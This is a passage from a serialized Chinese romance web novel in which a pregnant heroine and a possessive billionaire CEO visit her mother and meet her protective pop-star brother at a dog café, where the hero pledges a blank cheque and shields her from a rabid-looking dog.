她望见陆沉渊张了张好看的唇,握紧她的手,又说出了令她内心,峰回路转,变化万千的话来:“但,有一个例外。” “什么例外?”姜绒忘记了所有胆怯,兀然锁住那双眸子,追寻着反问。 陆沉渊修长指腹碾过她淡粉色唇瓣,在她泛红的耳畔一字一顿,沉声诉说:“那个人的存在,就是个例外。” “她就像是上帝专为我而精心设计、并放置的陷阱,在很久很久以前,她只是一个眼神,或是一次呼吸,就足以让我沦为欲望的奴隶。” 姜绒瞪大了一双鹿眼,呆住了。 是谁啊?哪一个女人? 竟然能有这么大的魅力,令陆沉渊这台冰冷的电脑人,仅仅只是提起她,都是一副快要发疯的模样。 而且还是很久以前,就对他影响如此深远,让一个理智的人,沉沦欲望并且彻底失序。 高一那年,她可从来没听班上,谁提起过,陆沉渊有绯闻女友,或者有喜欢的女生。 这令她百思不得其解,张了张唇,想继续厚着脸皮,向陆沉渊问,却又问不出口。 这是他的个人隐私问题吧,而且自己问那么多,岂不是更加暴露出来了,自己对他的个人私事,很感兴趣。 更不必说,万一他明明有自己喜欢的女生,结果自己那晚上,霸王硬上弓,扑了上去,把他睡了不说,还怀了他的孩子。 现在都要绑着对方和自己去领证复婚了,问起来,岂不是更加尴尬? 造孽啊你,姜绒,简直是造孽! 她耳根发烫,在心里骂了自己一句,假装没有听懂陆沉渊说的话,或是不感兴趣,讪讪笑了一下,转移话题: “谁心里还没个白月光呢,看来你这个白月光,对你作用还是挺大的。” “时间不早了,咱们还是赶紧睡觉吧,明天还得应付我哥和我爸呢。” 姜绒像鸵鸟一样,再次背过身去,红着脸,蜷缩着身体在毯子里,准备睡觉。 陆沉渊高大的身影,却再次自她身后紧贴了上来,宽大的手掌,轻轻放在她小腹上,极轻易,就将她整个人笼在了怀里。 这一次,姜绒已经习惯了他的拥抱,身体不再那么僵硬,在对方宽阔怀抱里,闻着对方身上雪松木、佛手柑以及檀香的味道,莫名觉得安心而温暖。 很快,她就闭上眼睛,沉沉睡去了。 陆沉渊那双有神的黑眸,却从未有一秒,离开过自己怀里的她,也从未产生过一分一秒的倦意。 他灼灼的目光,如同捕食者一般,锁住姜绒那张天真而甜美,长睫在眼睑投下一大片浓密阴影的脸。 低头看着这个丝毫不知,他嘴里所说的人是谁,察觉不到任何危险的存在,反而在他怀里沉沉睡去的人。 逼仄的欲望,几乎将陆沉渊整个人吞噬。 每一次呼吸,他都能闻到她身上蜜桃的甜香,每一次脉搏的跳动,他都能感觉到,血液在为她沸腾跳跃的滋味。 陆沉渊的目光,有些病态的,落在她纤长而白皙的脖颈、纤薄如同蝴蝶的锁骨上、饱满的曲线上、修长笔直的腿、甚至颜色粉嫩的脚踝、精致可爱的趾甲盖上。 他甚至会嫉妒,那个留在她肚子里的,属于他们两人的骨肉,它可以有位置,待在她身体里。 陆沉渊必须用尽全力去忍住,才能克制住自己,不在她身上下嘴,留下任何痕迹的冲动。 他发誓,既然那晚,她主动送上门来,落入了他掌心,那么这辈子,他都不可能让她逃脱。 而他会亲手挖出,那些胆敢,将目光停留在她身上的,一切眼睛。 陆沉渊伸出骨节修长的手指,指腹轻轻抚过,姜绒白皙颈侧,贪恋的停留在那里,摩挲了好几下。 曾经他留下来的吻痕,在她可怜的白皙皮肤上,还没消除干净,余有一片淡淡的红。 他喉结滚动了一下,很明白,今晚并不是时机。 第二天早上,睡得出乎意料香的姜绒,伸了个懒腰,睁开了眼睛,她转头看了眼床头柜上,粉色闹钟显示的时间。 指针出乎她意料,早上7点整。 自己昨天晚上和陆沉渊一起同床共枕,她的生理闹钟,竟然人生第一次,失灵了,没有在早上五点,就将她唤醒。 反而晚了整整两个小时,反倒让她睡饱睡足了,浑身都有了精神。 这也太神奇了,姜绒坐起了身来,这才发现,自己身边的位置已经空了,陆沉渊这一次,似乎起的比她还早。 他人去哪里了? 姜绒有些疑惑,耳侧却兀然听到,浴室里传来了一阵水声,这才明白了过来,对方是去洗澡了。 她耳朵红了一下,想起那间浴室,被自己装饰的非常少女公主风,每一样用品都是毛绒绒的可爱风格,甚至连浴缸和浴帘也是粉色的。 陆沉渊就在这样的浴室里洗澡,这也太有冲击力了。 哗啦,浴室门被推开了,姜绒仰头看去,陆沉渊高大的身影走了出来,黑发湿着贴在额前,有些湿漉漉的。 身上穿着的,是他爸那件最大号,在他身上却仍然短了一大截的灰色睡衣。 而灰色——异常的凸显身材与某些地方的形状与轮廓。 姜绒耳根发烫,立即转过脸去,别扭的下了床:“你洗完啦?那轮到我去洗漱了。” “嗯,你去吧。”陆沉渊朝她点了点头,声音却有些沙哑。 姜绒没看清他脸上的表情,也不敢和他对视,匆匆经过他时,却不知是不是自己的错觉,她恍惚看到,他冷白忻长的手腕上,多了一圈红色痕迹。 当他们收拾好自己,一同下了楼后。 热情至极的苏女士,竟然已经亲自下厨,为她们准备好了早餐,招呼着他们吃饭:“绒绒,小陆,快来吃早饭吧。” “小陆?妈,人家堂堂一个千亿上市集团的总裁,被你给叫成啥了。”听到这称呼后,姜绒一头黑线,在餐桌前坐下。 苏女士却一边将白色的餐盘,亲自在陆沉渊面前摆上,一边不以为然的回击她道:“那咋了,反正以后,他就是你老公,咱们都是一家人了。” “阿姨说的有道理。”陆沉渊语气极度从容礼貌,没有驳去苏砚清面子,反而顺着她的话说。 看不出来,这人还那么会拍马屁嘛。 姜绒红着耳朵,望了陆沉渊一眼,而低头看向餐盘里,散发着诡异味道的牛排后,她却又乐上了心头。 我看你待会儿,怎么夸出口。 果然,当陆沉渊骨节修长的手指,拿起银质刀叉,优雅的切下一小块牛排,入了口以后,他的表情瞬间就变了。 “怎么样?我妈厨艺不错吧?”姜绒向他眨了眨眼睛,故意问道。 陆沉渊眉尾微动,在苏清砚满脸期待的注视下,点了点头,违心的说出了三个字来:“还不错。” “好吃你就多吃点。”姜绒笑出了声来,在陆沉渊那双压迫性极强,紧盯着她的黑眸注视之下,将自己盘子里的牛排,全部放进了他餐盘里。 于是,一顿早饭,就在“其乐融融”的氛围之下吃完了。 姜绒微信消息响了一下,她拿起来看了一眼,表情瞬间变了,转头语气有些兴奋的看向陆沉渊: “我哥今天有空了,发了地址给我,咱们刚好能去见他了。” 苏女士听到这话,亦笑了出来:“不错。绒绒,小陆,既然你们俩要复婚领证的话,也得先把这件事告诉家里人。” “肚子里孩子的事,也得知会他们一声。毕竟,你爸要做外公了,你哥哥姜曜,也要做舅舅了!” “嗯,我知道了,妈。”姜绒乖巧的应了一声,了然于心。 随即,她拿起手机,将姜曜发来的地址,给陆沉渊看:“喏,咱们一会儿,就去这里,和我哥碰头见面。” “他现在也算是个大明星了,见面的地方,必须保证,绝对不会被狗仔拍到,所以,只能由他决定了。” 陆沉渊点了点头,对此并无异议。 然而,待看清楚了那个见面地址以后,他镜片背后的黑眸,却瞬间收紧了一下。 ——那是一个,狗咖。 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第34章 第三十四章 不好意思,他是我老公!…… 视力好的苏清砚, 很快瞟到了姜绒手机里的地址,骂出了声: “你哥咋选了那么个地方?你现在都怀孕了,那么多猫猫狗狗的咖啡厅, 怎么去?真是个不靠谱的!” 姜绒却不以为然:“这有什么,姜曜不知道我怀孕了。而且狗狗多可爱呀, 我对狗毛猫毛也不过敏,大不了戴个口罩,消好毒不就行了。” “那也不行, 你现在可是重点保护对象, 咖啡更是一口也不能喝的!”苏女士语气更加严肃了, 义正言辞的警告她道。 一旁看着母女俩拉锯战的陆沉渊, 表情微变, 却沉声说出了一句, 令姜绒瞬间觉得暖心无比的话来: “阿姨, 您放心吧,我一定会保护好姜绒的。” “孕期容易心情起伏大,她去狗咖放松一下也挺好的。咖啡我也绝对不会让她碰的,只会让她喝鲜榨果汁。” 听了他的话,苏清砚却瞬间放下了担心, 眉眼也舒展了开来: “小陆,还是你靠谱, 又成熟又稳重, 不愧是打从高中时候开始,我在绒绒班上, 就最欣赏的孩子了!有你这些话,我就放心了!” 苏女士这脸变得也太快了吧,对她这“新”女婿, 到底是有多满意啊。怪不得,当时那么不想让她和他去领离婚证。 不过只是高一时,去了两次家长会的苏女士,对陆沉渊竟然印象就这么深,而且这么好吗? 这一点令姜绒觉得有些惊讶,看来陆沉渊外在形象和气质,确实很符合,许多长辈们心里的择偶标准。 无论是当年高中时,学习极好,看起来总是一板一眼,不苟言笑的学霸陆沉渊,还是而今创立全球顶级审计事务所,并掌管陆氏集团的商界大佬,精英青年的形象。 不过,苏女士想破脑袋,也绝对不会想到,就是这样一个如同冰山般,不苟言笑,成熟有礼,完美无缺的人。 在自己面前,却像个十足的魅魔或者狐狸精,总是不留余力,有意无意的勾引自己,这件事吧? 她偷偷的看了眼,陆沉渊轮廓深邃,棱角分明的侧脸,脸上又发起了烫。 莫名想起了,对方温热唇瓣,擦过自己耳垂时,哑着声音,毫不害臊向她说出的那句:“从身体开始了解……” 以及那一夜的疯狂。 当他们吃完饭,由苏女士亲自送到了别墅门口时,一辆极其拉风的,明黄色布加迪威龙,已经停在了路边等候。 苏清砚很快认了出来,那辆跑车,是全球限量款,已经停售,价值至少一亿,收藏价值更是无可估量。 同处在圈内,她对于陆氏集团在凛川,乃至全国闻名,在全球,产业皆有布局涉猎的雄厚财力,其实早就有了深刻的认识。 虽说陆家和姜家,能够算得上是世交,但那也仅限于姜绒爷爷那一辈。 已经逝去的姜老爷子和陆老爷子,曾经有过短暂的战友情谊,但到了陆竞深那一代,两家差距过大,早已不可同日而语。 想要千方百计,攀附上陆家的人极多,姜家本就不算重要,利用价值也不高,自然而然的,也逐渐与陆家断了联系。 而当姜新鸣因为鉴定失误,错拍下了一幅,价值数亿的赝品画作,画廊的资金链一时周转不出,面临了极大的破产危机以后。 他们在圈内,打听到了陆家为了给病重的陆老爷子冲喜,会集中寻找联姻对象。 于是,在找不到其他解决办法,万般无奈之下,他们亦将姜绒的照片寄给了陆家,想要碰碰运气。 但他们也早就做好了,不会等来结果的打算。 毕竟,凛川市里有太多,翘首以盼,绞尽脑汁,优秀而美丽,想要嫁给陆沉渊的千金小姐们。 但结果,却非常出乎他们的意料,陆家竟然真的挑中了姜绒,并且很快,将假结婚冲喜这件事,提上了日程。 从那时起,虽然未曾与陆沉渊打过照面,有过接触,但苏清砚就已经隐隐有了一种预感,陆沉渊对自己女儿的感情,似乎有些不同。 而现在,事实更加证明了,她的猜测并没有错。 只是,她心里又有了一些担忧。 这次不同于上次走个过场的假结婚,这次是真结婚,陆家长辈那关,不知自己这从小大大咧咧,乐观开朗又马虎,没什么心眼的女儿,能不能过得去。 杨西下了车,一路小跑着,走上前来,弯着腰,把车钥匙毕恭毕敬的递到了陆沉渊手里:“陆总,您开车路上小心,有任何问题,都可以随时打电话给我。” 姜绒愣了一下,瞪大了一双鹿眼,陆沉渊竟然打算亲自开跑车,和她去狗咖里见姜曜。 陆沉渊接过钥匙,冷着脸吩咐了他一句:“嗯,集团里的事,随时跟我保持线上联络,后备箱里的东西也拿出来。” “好咧!”杨西利落的应下后,又立即跑到了车前,打开了后备箱,拎下来一个包装高端的奢侈品盒子,走到了他们面前。 陆沉渊将其递给了苏清砚,语气礼貌:“阿姨,这是初次见面,送您的礼物,不成敬意。” 苏清砚笑意盈盈的接过来以后,瞳孔瞬间放大了一下,礼物的贵重程度,超出了她的预计。 这是一个限定款的,爱马仕稀有鳄鱼皮包,价值估计在500万左右。 “沉渊,你这孩子,实在是太有心了!花大价钱买了我的画不说,竟然还特地准备了礼物。” “阿姨无以为报,以后你就和绒绒多回家,你就把这里当成自己的家!” 她赶忙向陆沉渊郑重的道了句谢,看向自己这女婿的慈爱目光里,更多了几分欣赏。 目睹着这一切的姜绒,心里不免有些暖暖的。 不得不说,陆沉渊这个人,还是很会为人和办事的,身上的沉稳气质,甚至远远超过了他的年龄,不愧是早早就能登上权力与财富高位的人,令自己对他刮目相看。 因为从小与父母感情深厚,家庭和谐的缘故。 其实在姜绒心里,对自己的父母好,比起对自己好,还要更加重要千倍万倍。 杨西亦迅速注意到了,站在陆沉渊身旁的姜绒,立即向她笑着拍了句马屁: “姜小姐,您站在陆总身边,看起来真是容光焕发,越发好看了,你们两人真是天造地设的一对!” 毕竟,他还记得,上次陆沉渊夸他会办事,随手甩给他50万支票奖金的事,自己自然能认清楚,他真正的金主和讨好对象,应该是谁。 “就数你家杨助理嘴甜,你从哪儿招的呀?” 姜绒白皙的小脸瞬间红了一下,看了一眼身旁,身材高大,表情淡定的陆沉渊,向他调侃了一句。 对方似乎却对这样的话颇为受用,唇角微微上扬了一下。 “咳,你这小助理呀,不懂事。还叫什么姜小姐啊,以后你就该叫她陆夫人了!” 苏清砚却走上前去,适时提醒了杨西一句。 杨西表情虽然惊讶,却立即改了口:“陆总,陆夫人,你们真是天造地设,郎才女貌的一对!” “好了,别啰嗦了。” 陆沉渊冷冷瞟了他一眼,长腿一迈,向跑车前走去,姜绒亦跟了上去,坐进了跑车副驾驶位里。 姜绒坐好,低头系安全带才发现,陆沉渊的每辆豪车上,似乎都已经被他命人换上了孕妇专用安全带。 细心到了这样的地步,实在令她刮目相看。 发动机的轰鸣声,很快在她耳边响了起来,跑车很快,就平稳发动了。 姜绒转头看向陆沉渊那张,在晨光熹微之下,越发好看的侧脸,视线却被他握着方向盘,肤色冷白的左手忻长手腕上,那圈红色的痕迹,给吸引了视线。 果然,他的肤色是很容易留下痕迹的类型,而那似乎是被什么东西绑出来,或者勒出来的。 “你……昨晚睡的好吗?”姜绒忍不住,红着耳朵,向他问出了口。 对方那双黑沉沉的炙热眸子,却锁住她,声音里兀然多了一丝哑意,向她反问道:“你觉得呢?” 姜绒转过头去,脸上红的更加厉害。 其实,她能够猜测出来,陆沉渊昨天晚上睡的,应该非常煎熬,毕竟两个人贴的太近了,身体的反应,根本无法掩饰。 虽然自己睡的很沉,但意识清醒之际,也隐隐感觉到了,有什么坚固庞/大的东西,一整夜都在抵着自己。 “呵呵,那我睡得还是挺好的,生理闹钟竟然都没把我叫醒。”姜绒赶忙转移了话题,打了个马虎眼。 一样东西,却兀然被陆沉渊骨节修长的手指,轻轻放到了她腿上,他沉声说道:“这是给你的。” 姜绒愣了一下,低头看去,却瞬间变了脸,不敢置信,喜笑颜开了起来。 没想到,不只是给苏女士准备礼物,他竟然也给自己准备了一份礼物,而且彻彻底底的,送到了她心里去了。 这是一个造型复古,精致而简约的,黑色香奈儿古董包,是最爱逛中古店的她,绝对不敢想象的,能够进收藏馆级别的款式,价值估计在900万。 小心的拎起那个包来,姜绒爱不释手。 这于她而言,是个惊喜,毕竟,谁不喜欢收到礼物呢?而且她还是个爱包人士。 姜绒还还以为,陆沉渊只会给苏女士送礼物,却没想到,他根本没有忘记,属于自己的这一份。 “谢谢。”姜绒望向他利落分明的好看侧脸,真情实意的,向他道了句谢。 当他们停好了车,到达了造型极其可爱,屋顶是骨头形状,装潢满满粉色少女心的狗咖门口时。 姜绒满眼放光,她其实早就想来打卡这一家很难约到的,总是客流量爆满的网红狗咖了,没想到姜曜刚好选了这家,来和他们见面,所以她高兴还来不及。 而陆沉渊的表情,却截然不同,他脸色开始逐渐发白,仅仅只是听到,内里传来的各式各样的狗吠声,以及闻到空气里,宠物狗的味道,都已经令他觉得头皮发麻,浑身都不舒服。 “前方狗狗店员们还在接客,请排队进店,耐心等候。” 被店员提醒了排队,且姜曜这迟到大王,竟然还没到达这里。 姜绒取了三人桌的号以后,就和陆沉渊站在一旁,等候着排队进店了。 然而站在狗咖门口,陆沉渊出挑的身高和长相实在过于显眼。 本就是年轻女生们喜欢来的地方,她们不过才来到这里,短短几分钟时间,就有三四个女生,红着脸走上前来,向陆沉渊搭讪了:“帅哥,您好,请问能加个微信吗?” 陆沉渊表情极冷,一句话都没有,只当做视而不见。 于是姜绒只得陪着笑,替他随便找了个理由拒绝:“不好意思,他是我闺蜜。” “闺蜜?”那些女生仰头,将目光讶异的落在陆沉渊身上,一脸不敢置信的反问。 姜绒点了点头,伸出纤细的胳膊,径直挽住了陆沉渊,动作十分亲昵:“对!他喜欢男的。” 感受到她的动作,一身黑棕色长款定制西装,禁欲感十足的陆沉渊,目光亦落在她身上,眼尾微微上扬,似乎是想知道,她是如何睁着眼睛说瞎话,巧舌如簧的。 然而,很快,属于姜绒的考验时刻又到了。 这一回,是三个一脸稚气的高中女生,手挽着手走上了前来,指了指站在姜绒身旁,身材高大,一脸冷冰冰的陆沉渊,小心翼翼的向她问出了口: “美女姐姐,打扰一下,请问您身边这位,是××游戏××角色的委托陪玩老师吗?他的身材、长相和气质,都实在太还原,太完美了!” “所以,您能不能也告诉我们,这位老师的下单联系方式呢?” 姜绒愣了一下,这些话也太过震惊了吧,那个游戏,她隐隐有所耳闻,是目前市面上,最受欢迎的一款乙女游戏。 而那个角色,是那款游戏里,最受欢迎的那一个,宽肩窄腰长腿,无论身材、还是建模的长相与个性,都无可挑剔。 她仰头,看了一眼陆沉渊。 难道这人,好看的程度以及身材好的程度,真就夸张到了这样的地步? 仅仅只是平常的装扮,和她出了次门,到了次狗咖门口,就直接被人当成,毫无缺点,极其完美的,二次元角色cos委托老师了? “他不是的。”姜绒假笑了一下,干脆利落,替陆沉渊回绝这几个女生道。 “怎么可能呢。”然而那几个女生却并不相信,反而不依不饶的拿出校服口袋里的手机,要亲自把那个游戏人物的画面和截图,翻出来,证明给她看。 被这件事,成功从那些狗吠上,转移了注意力的陆沉渊,亦微微扬了扬唇,一双黑眸落在姜绒身上,似乎觉得,这个场面很有趣。 姜绒被她们整得又气又急,解释了半天以后,她们仍旧不肯走,而且一脸不愿相信。 于是,她脑子一热,径直伸出纤细的胳膊,再一次挽住了陆沉渊肌肉线条明显的胳膊,直接将整张发烫的白皙小脸,贴了上去。 随即,姜绒语气娇软,说出了一句,令陆沉渊,以及那三个女生都惊讶无比的话来: “不好意思,他是我老公哦,孩子他爸!” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,我更的就越多越快,你们就是鹿鹿的动力啊! 亲亲(* ̄3 ̄)╭ 第35章 第三十五章 无可替代的存在 “你老公?” “孩子爸?……” 那几个高中女生, 听到这句话,齐刷刷瞪大了双眼,看向姜绒和陆沉渊, 一脸的不敢置信。 “对不起,美女姐姐, 打扰你们了!”直到反应了过来,她们才立即弯下腰去,红着脸, 道了句歉, 手牵着手, 迅速离开了。 姜绒心情瞬间舒畅了很多, 但随即, 意识到自己还紧紧挽着陆沉渊肌肉线条明显的胳膊, 她白皙耳根瞬间发了烫。 自己这是在做什么呢?她低着头根本不敢看他的反应。 “老公?看不出来, 你这张嘴,倒是挺甜的。” “那我是不是,也应该,履行一下老公的义务?” 陆沉渊却兀然俯下身来,那张轮廓深邃, 极度好看的脸,逼近她, 骨节修长的手指, 径直抬起她下巴,勾了勾唇角, 向她问道。 很明显,他在调侃自己。 姜绒吞咽了一下口水,脸上绯色染的更深, 浅茶色的鹿眸,望着他,眨巴了好几下。 他到底想干什么?明明在别人面前,冰山一样冷,在自己面前,很多时候,却都像个极不好惹的狐狸精。 汪汪,此时一声狗叫声,却突兀的在她们耳边响起,与此同时,身穿柴犬围裙的店员,叫起了姜绒手里的号码: “A52号,在吗?请上山看柴哦!” 姜绒喜出望外,赶忙举起了胳膊,拽着陆沉渊袖口,就向门口走去了。 “请换上店里的拖鞋哦。”店员将消毒喷雾和拖鞋,一起递到了她们手里。 姜绒忙拉着陆沉渊,在门口的长椅上,坐下身来,利落的换上了拖鞋。 “这是狗狗店员们的介绍,上面有它们的个狗信息,包括年龄、个性以及擅长的东西。”店员接着将两份介绍单,递到了她们手里。 这也太可爱了吧!竟然还有撸狗指南? 姜绒看着介绍上的狗狗大头照,差点被萌化,笑出了声来,对于进店,更加迫不及待了起来。 从小到大,她都很喜欢猫猫狗狗,有段时间,她甚至经常抱路边的流浪猫、流浪狗回家养。还亲自动手,在自家别墅院子里,为它们建小木屋,搭窝棚。 苏女士敢怒不敢言,一边怕破坏她与生俱来的爱心,一边又只能为了保证她的安全,定时带着她去打狂犬疫苗。 姜绒本来就不爱打针,每次被打针都哭的稀里哗啦,但好了伤疤忘了疼,下一次,又抱回了一只三花猫,或是一只小白狗。 然而,当她抬起头来,看向陆沉渊时,却发现对方似乎不太对劲,脸色比平常还要更加白了一些,表情看起来也有些紧张。 “你怎么啦?看起来不太舒服。”饶是姜绒再迟钝,也知道,他情况不对,于是睁大一双鹿眼,好奇的仰头打量着他问道。 陆沉渊却淡定的摇了摇头,骨节修长的手指,推了推鼻梁上薄薄的金丝边眼镜框,回答她道: “没什么,咱们现在就进去吧。” “好耶!快走吧!”姜绒笑出了声来,嘴角边的两颗虎牙,灿烂到令陆沉渊怔了一秒。 走进装修的温馨而可爱的店里,榻榻米上,狗窝,猫窝,爬爬架上,以及顾客们座位上,都长出了数只狗狗猫猫,估计有十只左右。 黑柴、白柴、黄柴、柯基、吉娃娃都有,还有蓝猫、暹罗猫、布偶猫。这景象令姜绒双眼放光,一时不知道首先该从哪一只下手。 “陆沉渊,你看,它们的店员好多啊!也太可爱了!”姜绒率先,在有黑柴的座位上,坐了下来,一边伸手撸狗头,一边语气兴奋的向身旁陆沉渊说道。 陆沉渊的表情却十分僵硬,脸色有些煞白,似乎在极力忍住某种压抑而复杂的情绪,他迈开长腿,每一步都走的小心翼翼,似乎是生怕碰到店里那些狗和猫。 动作有些滑稽,简直就像在做什么排雷游戏一般,但也令姜绒突然觉得,他多了些鲜活的人样,有些可爱。 而陆沉渊高大的身影,选择落坐在了姜绒身旁,一个靠近墙壁里侧,能够暂时隔绝,店里其他空间的座位。 “你……该不会是怕狗吧?”姜绒目光落在他身上,好奇的问出了口。 陆沉渊并未看她,低着头,喝了口玻璃杯里的柠檬水:“咳,没有的事。” “那你也摸摸它嘛!”姜绒听了他的回答。放下了心来,一把抱起身旁那只乖巧的黑色小柴犬,就要向陆沉渊那边凑。 陆沉渊却赶忙,将整个高大的身体往后倒了一下,冷声制止她道:“别,千万别!” “哦……好的”姜绒赶忙放下了那只黑柴,与此同时心里的疑惑却更多了。 这人真奇怪,明明不愿意承认他怕狗,却又不让小狗靠近他。 “姜绒!”一道熟悉的,被刻意压低的声音,此时却在他们耳边响了起来。 她抬头看去,果然看到了身穿热带蓝色花衬衣,一头粉发被扎起,戴着帽子、墨镜和口罩,鬼鬼祟祟向她们走来的姜曜。 “哥,你这行头弄得真是,跟特务接头一样,选人这么多的地方,真不怕被你粉丝们撞见啊?”姜绒看着他那副模样,笑着损了他一句。 “你懂什么,最危险的地方,就是最安全的地方。”姜曜坐下身来,摘下鼻梁上的墨镜,反驳她道。 然而,待他看清楚周围的环境后,才逐渐注意到了,坐在姜绒身旁,赫然还有一个高大身影。 这是一个他完全意想不到的人——陆沉渊。 “不是,姜绒,你这什么意思?说有十万火急的事跟我说。为了你这事,我一张机票,就从多伦多的演唱会,连夜赶回来了,你带你前夫来干嘛?” 姜曜直接向姜绒毫不客气的质问出了口。 姜绒脸上,却可疑的红了一下:“哥,他很快就不是我前夫了。” “不是你前夫,那是你什么?”一向对自己妹妹保护欲极强的姜曜,更加觉得惊讶了,喝了口面前的咖啡,向她质问出声。 姜绒心虚的低下头,撸手里的黑柴,不敢看自己哥哥,有些答不出口,毕竟,姜曜会不会同意他们俩结婚,还不好说。 陆沉渊却神情淡定的,向他伸出了手:“你好,我是姜绒的老公,也是她肚子里孩子的父亲。” 他说话的气势极强,带着不容忽视以及不容置疑的笃定。 却令听了这句话的姜曜,将嘴里还未咽下去的咖啡,径直喷洒在了洁白的地面上。 店里许多人,瞬间将目光落在了姜曜身上。 “姜绒,你什么时候怀上了?是不是被他强迫的?!”姜曜却丝毫不在意,反而站起了身来,一字一顿的向姜绒问出了口。 姜绒脸上红的更加厉害,果然,她哥和周野的反应,非常像,都以为是陆沉渊对自己做了什么,或者对自己强取豪夺了。 但事实却是,她强取豪夺,扑倒了陆沉渊。 “不是的,哥,你冷静点,是我爱上了他。” 姜绒尴尬至极,再也顾不上什么羞耻了,站起身来,拽着姜曜袖口,让他坐下后,红着脸向他小声解释道。 “爱上了他?”姜曜更加觉得不可思议了,锐利而犀利的目光落在她脸上,又转头打量气场极强大的陆沉渊。 他清楚的记得,自己妹妹和陆沉渊的那场联姻,一开始就是一场交易而已,根本无关任何感情。 陆家获得了给陆老爷子冲喜的吉祥彩头,而自家画廊获得了得以周转的资金。 而现在,姜绒竟然告诉他,她已经爱上了陆沉渊,并且怀上了他的孩子,和他假戏真做了。 这怎么可能令他信服。 迎上姜曜的目光,陆沉渊的表情毫无波澜,一向看不出什么情绪起伏。 姜绒心中警铃大作,她知道姜曜一向嘴毒又刻薄,从小到大,对自己保护欲又极强,只怕会刁难陆沉渊。 她张了张唇,想要劝阻对方,然而姜曜提出的犀利问题,已经先她一步,径直向陆沉渊,脱口而出了: “陆沉渊,我妹妹是不是你的最优资产配置?如果有一天,你遇到了更高回报的选择,你的退出机制是什么?你会怎么对待她?” 姜曜是混娱乐圈的,同样与名利圈不可分割。 陆氏集团赫赫有名,各行各业皆有强大的产业存在,在影视这一块也有极大的投资与涉猎。 据他所知,他们vimper乐团的竞争对手,当红男团Major,就是签约了陆沉渊手底下,赫赫有名的陆氏影视娱乐公司。 因此,在他看来,陆沉渊这样的顶级财阀出身,处在食物链顶端的男人,什么样的女人找不到呢? 只需要勾勾手指,就有数不清的女人,排着队,向他投怀送抱,甚至于娱乐圈的明星、演员、模特。 这样的人,怎么可能会有真的感情,并且真的选择,与他身份阶级差别很大的自己妹妹,姜绒结婚,并生孩子呢? 在他看来,自家妹妹的风险极大。 作为哥哥,自己自然应该让姜绒看清楚,并且知难而退。 所以他用了涉及到陆沉渊金融专业领域的名词,来向他提出了这个问题。 陆沉渊一双有神的黑眸,扫过坐在他身旁的姜绒,迎上了姜曜的审视,做出的举动,出人意料。 他骨节修长的手指,径直从自己高定西装口袋的夹层里,取出了一张空白的,签有他名字的支票,推到了姜曜面前。 “这就是我的退出机制。” “金额栏是空白的。如果真有那么一天,我让姜绒受了委屈,无论缘由,作为她的哥哥,你可以随意填上一个数字,作为罚金。” 姜曜愣了一下,伸手拿起那张支票,仔细端详。 陆沉渊却是没有在骗他,这张支票上有他的签名,印有陆氏集团的财务公章,还有他自己的个人私章,无限额、无限期。 “她并不是所谓的最优资产配置,而是我想要相伴一生的伴侣,是无可替代的存在。” “请你相信,我会用尽我的一生,让这张支票,永远都只是一张废纸。” “这不止是钱的问题,而是压上我全部的信誉和尊严。” 陆沉渊接着看向姜曜,向他沉声说道。 坐在一旁,端着脸的姜绒,亦将陆沉渊向姜曜,说出来的这番话语,每一个字,都听得十分清楚。 她白皙的小脸,瞬间红了起来,感动、温暖以及被坚定选择的喜悦,萦绕在她心间,久久不散。 她似乎,真的低估了,陆沉渊想和她复婚领证的决心。 姜曜神情微动,显然也被他这番话打动了,但随即,他放下那张支票,又朝问出了一个更加犀利的问题来。 这次,关乎于自家妹妹,肚子里的孩子: “陆沉渊,你身份这么高,是活在各种财报,和聚光灯下的人。将来你们两的孩子,你是打算让他上娱乐板块?还是财经板块?” 姜曜很清楚的明白,这个问题是充满陷阱的。 从小到大,姜新鸣和苏清砚,都百分百尊重并支持,他和姜绒的人生。 所以,当姜绒自己决定,高二开始就去国外上学,并学习艺术,考英国的艺术大学时,他们也没有反对,支持了她那样去追梦。 而当他在大学毕业后,放弃了自身所学的,top大学里的金融专业。 异想天开的,向苏清砚和姜新鸣提出,要去发扬自己的唱歌天赋,去经纪公司里面试,做练习生,然后出道,做摇滚偶像乐队的主唱时。 作为父母,他们虽然惊讶万分,但很快,他们同意了他的选择,并且告诉了他: “人生只活一次,如果你想去做,那就去做吧。” 因此,在他和姜绒所受到的教育,一直是自由、随性且充满爱与理解、支持的。 他能看出来,陆沉渊这个人身上的气质,以及他的家庭和他们有极大的区别。 而这或许,会在他和姜绒生下孩子以后,产生极大的教育分歧。 然而陆沉渊一双黑眸锁住姜曜,说出来的话,令他意想不到: “我和姜绒的孩子,可以上任何版面,也可以什么都不上。他不需要成为第二个谁,他只需要成为快乐的自己。” 听到他这番话,姜绒亦瞪大了一双清澈鹿眼。 她想起,和陆沉渊第一次谈判,在云顶天阙时,他对自己说出来那句,这个孩子对他很重要的话来。 又想起他在车上提起,他的父母只是纯利益交换的联姻时,脸上的冷漠与无奈。 她突然明白了,或许正是因为,陆沉渊经历过,不被当成“人”来对待,反而从小被当成机器来培养,噩梦般的童年。 所以,他才知道,对于孩子来说,成为快乐的自己,才是最重要的。 听到这句话,姜曜陷入了短暂的沉默,他望向陆沉渊那双认真的,没有任何戏谑的眸子,竟然再也说不出来,任何刁难他的问题了。 “哎呀!这只狗,怎么咬人啊!”此时,一道叫声,却兀然从他们身边的那张桌子上传来,吸引了店里所有人的注意。 一个身穿粉色萝莉裙的女生,兀然站起身来,将她手里刚才抱着拍照的一只吉娃娃,扔到了地上,捂着自己的脸,哀嚎了一句。 姜绒低头看去,顿觉不妙。 那只棕色小吉娃娃的眼睛是红色的,以她的经验判断,这只小狗,可能是感染了狂犬病毒,或是突然受到了什么强烈的刺激。 于是,她赶紧伸出手,护住肚子,侧过了身去。 毕竟,那张桌子以及那只狗,离她最近了。 然而,似乎是敏锐察觉到了她的慌乱,那只红着眼睛的吉娃娃,立即撒开了四条腿,龇牙咧嘴的狂吠着,向她冲了过来。 看到这一幕,店内顾客们的叫声顿时响了起来,乱成一团。 完蛋了,姜绒煞白着一张脸,知道自己这回,真是躲不过了。 “小心!”突然,一道焦急的声音,从她耳畔传来。 随即,她整个人瞬间被拥入了一个宽阔而温暖,散发着雪松味道的有力怀抱里。 因为害怕,而闭上眼睛的最后一秒。 